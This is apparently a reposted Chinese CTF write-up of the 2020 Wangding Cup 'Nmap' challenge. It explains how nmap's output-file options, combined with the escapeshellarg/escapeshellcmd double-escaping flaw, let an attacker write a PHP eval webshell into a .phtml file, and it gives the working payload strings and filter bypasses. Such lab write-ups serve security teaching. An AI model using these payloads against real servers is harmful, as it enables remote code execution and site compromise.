微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

[网鼎杯 2020 朱雀组]Nmap wp

深层次剖析!!!

我的博客,欢迎来访!

前言

[2020年朱雀杯][BUUCTF 2018]Online Tool的题目似乎是一样的,不同在于朱雀杯没有给出源码,主要考察的都是nmap一句话木马写入。本篇文章细致讲解输入时escapeshellargescapeshellcmd 两个函数所进行的步骤。

知识巩固

关于nmap的输出命令:
翻阅nmap中文手册,发现主要只有四种:

  • -oN < filespec > (标准输出)
  • -oX < filespec> (XML输出)
  • -oS < filespec> (ScRipT KIdd|3 oUTpuT)
  • -oG < filespec> (Grep输出)

其中主要就是 -oN-oG 为主,我们看一下他们的区别:(本地测试一下)

在这里插入图片描述


不难发现两件事:

  1. 我们可以构造任意文件内容
  2. 文件的名字,包括后缀也是我们自己定义

接下来我们来研究一个有意思的东西:
如果使用nmap写入一句话木马不用引号包起来会怎么样:

在这里插入图片描述


直接输入的话是无法生成文件的,必须给<?= @ eval($_REQUEST[1]);?>引号包起来才能正确执行命令,除此之外还有什么办法能执行呢。

!! \转义 !!
!! \转义 !!
!! \转义 !!

在这里插入图片描述


把这些会引起歧义的符号全部转义就能执行命令,并且将木马生成PHP文件中。这将对绕过 escapeshellarg 和 escapeshellcmd 很有用

解题

进入页面,先输入127.0.0.1看一下会怎么样

在这里插入图片描述

发现结果和我们本地非常相似:

在这里插入图片描述


再尝试一下命令:

127.0.0.1 | ls

在这里插入图片描述

可以看到本地是可以执行的,那我们试一下题目环境

在这里插入图片描述


发现被转义了


只能另辟蹊径,我们直接试着写入一句话木马

‘<?PHP eval($_GET[1])?>’ -oN 1.PHP

在这里插入图片描述


结果发现回显是Hacker,可能把PHP过滤了

过滤PHP怎么办

1.在一句话木马中的解决办法


利用短标签:<?=eval($_GET[1])?>

后缀为PHP解决办法


后缀改为phtml,也会解析成PHP文件

接下来再试着写入一句话木马:

<?=eval($_GET[1])?> -oN 1.phtml

在这里插入图片描述


回显是这个,但是我们访问1.phtml,发现并没有生成,是函数escapeshellargescapeshellcmd在作怪。

如何绕过escapeshellargescapeshellcmd

要了解如何绕过,那就得先了解一下这两个函数的分别作用

在这里插入图片描述

在这里插入图片描述


看了描述之后再看一下这两个函数的例子:

<?PHP
$a = "' <?= @eval(\$_REQUEST[1]);?> -oG test.phtml '";
echo "escapeshellarg:".escapeshellarg($a)."</br>";
$a = escapeshellarg($a);
echo "escapeshellcmd:".escapeshellcmd($a)."</br>";

输出

escapeshellarg:‘’\‘’<?= @eval($_REQUEST[1]);?> -oG test.phtml’\‘’’
escapeshellcmd:‘’\\‘’<\?= @eval\(\$_REQUEST\[1\]\)\;\?\> -oG test.phtml’\\‘’’

如果我们把两个函数处理过的字符串直接用nmap尝试写入文件能成功吗

在这里插入图片描述


很显然,答案是可行的如此一来便绕过了escapeshellargescapeshellcmd

接下来就是连接木马巴拉巴拉

在这里插入图片描述

坑点

exp:

’ <?= @eval($_REQUEST[1]);?> -oG test.phtml ’

这个引号< 之间要记得留空格,否则 < 会被转义,一句话木马就失效了

尾言

本来其实是不知道对 [ ] ? 等符号也进行转义之后因为 nmap 写入文件恰好需要那些转义才刚好写进去。自己研究了这么久才意外发现也是很惊喜,之前对namp不甚了解的时候做过[2018BUUCTF]类似的题型,没有完全了解,今天查阅很多资料+实践才发现这些奥秘的,希望对你也有帮助。

参考资料

https://paper.seebug.org/164/ => PHP escapeshellarg()+escapeshellcmd() 之殇

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐